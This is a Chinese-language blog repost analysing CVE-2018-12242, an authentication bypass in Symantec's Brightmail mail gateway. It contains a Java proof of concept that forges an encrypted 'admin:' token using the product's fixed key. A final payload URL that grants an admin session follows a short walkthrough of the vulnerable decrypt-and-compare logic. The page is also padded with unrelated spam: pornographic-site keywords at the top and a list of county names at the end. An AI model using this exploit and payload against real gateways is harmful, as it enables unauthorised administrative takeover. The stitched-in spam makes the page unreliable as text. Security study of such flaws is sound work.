91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么實現CVE-2018-12242漏洞分析

發布時間:2021-12-22 23:47:04 來源:億速云 閱讀:145 作者:柒染 欄目:安全技術

怎么實現CVE-2018-12242漏洞分析,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

CVE-2018-12242

手里有symantec的源碼 于是立刻就分析了    存在手里一直沒動

先上poc

import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import sun.misc.BASE64Encoder;




public class Test{
       public
static void main(String args[]){
              try{
                     //System.out.print(123);

                     byte[]
salt = new byte[8];
                     SecureRandom
random = SecureRandom.getInstance("SHA1PRNG");
                     random.nextBytes(salt);
                     PBEKeySpec
keySpec = new
PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray());
                     SecretKeyFactory
keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
                     SecretKey
key = keyFactory.generateSecret(keySpec);
                     PBEParameterSpec
paramSpec = new PBEParameterSpec(salt, 1000);
                     Cipher
cipher = Cipher.getInstance("PBEWithMD5AndDES");


                     cipher.init(1,
key, paramSpec);


                     //byte[]
salt;


                     BASE64Encoder
encoder = new BASE64Encoder();


                     String
saltString = encoder.encode(salt);


                     String
text = "admin:";


                     byte[]
ciphertext = cipher.doFinal(text.getBytes());


                     String
ciphertextString = encoder.encode(ciphertext);


                     System.out.print(saltString
+ ciphertextString);


              }catch
(Exception e){


                     System.out.print(e);


              }


 


       }


}

核心還是在加密解密這塊

怎么實現CVE-2018-12242漏洞分析

加密算法一直是固定的

但是FIPS186PRNG這個算法太古老了

只能拿SHA1PRNG代替

              怎么實現CVE-2018-12242漏洞分析

接下來分析一波漏洞觸發點

token = BrightmailDecrypt.decrypt(token);

接收到token用公共的解密方法解密

解密之后按  “  :  ”

分割 前面為username  后面為 passwordhash

然后按username做sql查詢

然后調用getAdministratorUserByName方法

怎么實現CVE-2018-12242漏洞分析

 GetSQLAdministratorUserByName生成sql語句

然后查詢

接著對比

如果user為空會拋出一個不存在該用戶的異常

如果passwordhash與查詢到的passwordhash不一致也會拋出異常

那么passwordhash是什么呢

在開啟重置密碼選項后 該字段為空。。。

然后創建一個admin session的正常操作….

那么最終payload為

/brightmail/action2.do?method=passwordReset&authorization=S9m%2bdmCBN8k%3dfot%2fxYG299k%3d

怎么實現CVE-2018-12242漏洞分析

看完上述內容,你們掌握怎么實現CVE-2018-12242漏洞分析的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

保靖县| 庄浪县| 汤原县| 晋州市| 郯城县| 荔浦县| 都昌县| 咸宁市| 巴彦县| 河津市| 旬邑县| 屯昌县| 长寿区| 荣成市| 勃利县| 紫阳县| 安化县| 西乌| 东安县| 读书| 西充县| 曲周县| 白玉县| 定兴县| 抚松县| 甘洛县| 浪卡子县| 泗阳县| 洛阳市| 镇康县| 彭水| 阜平县| 佛学| 西乡县| 都匀市| 交城县| 昌黎县| 延长县| 广饶县| 阿拉善右旗| 渝北区|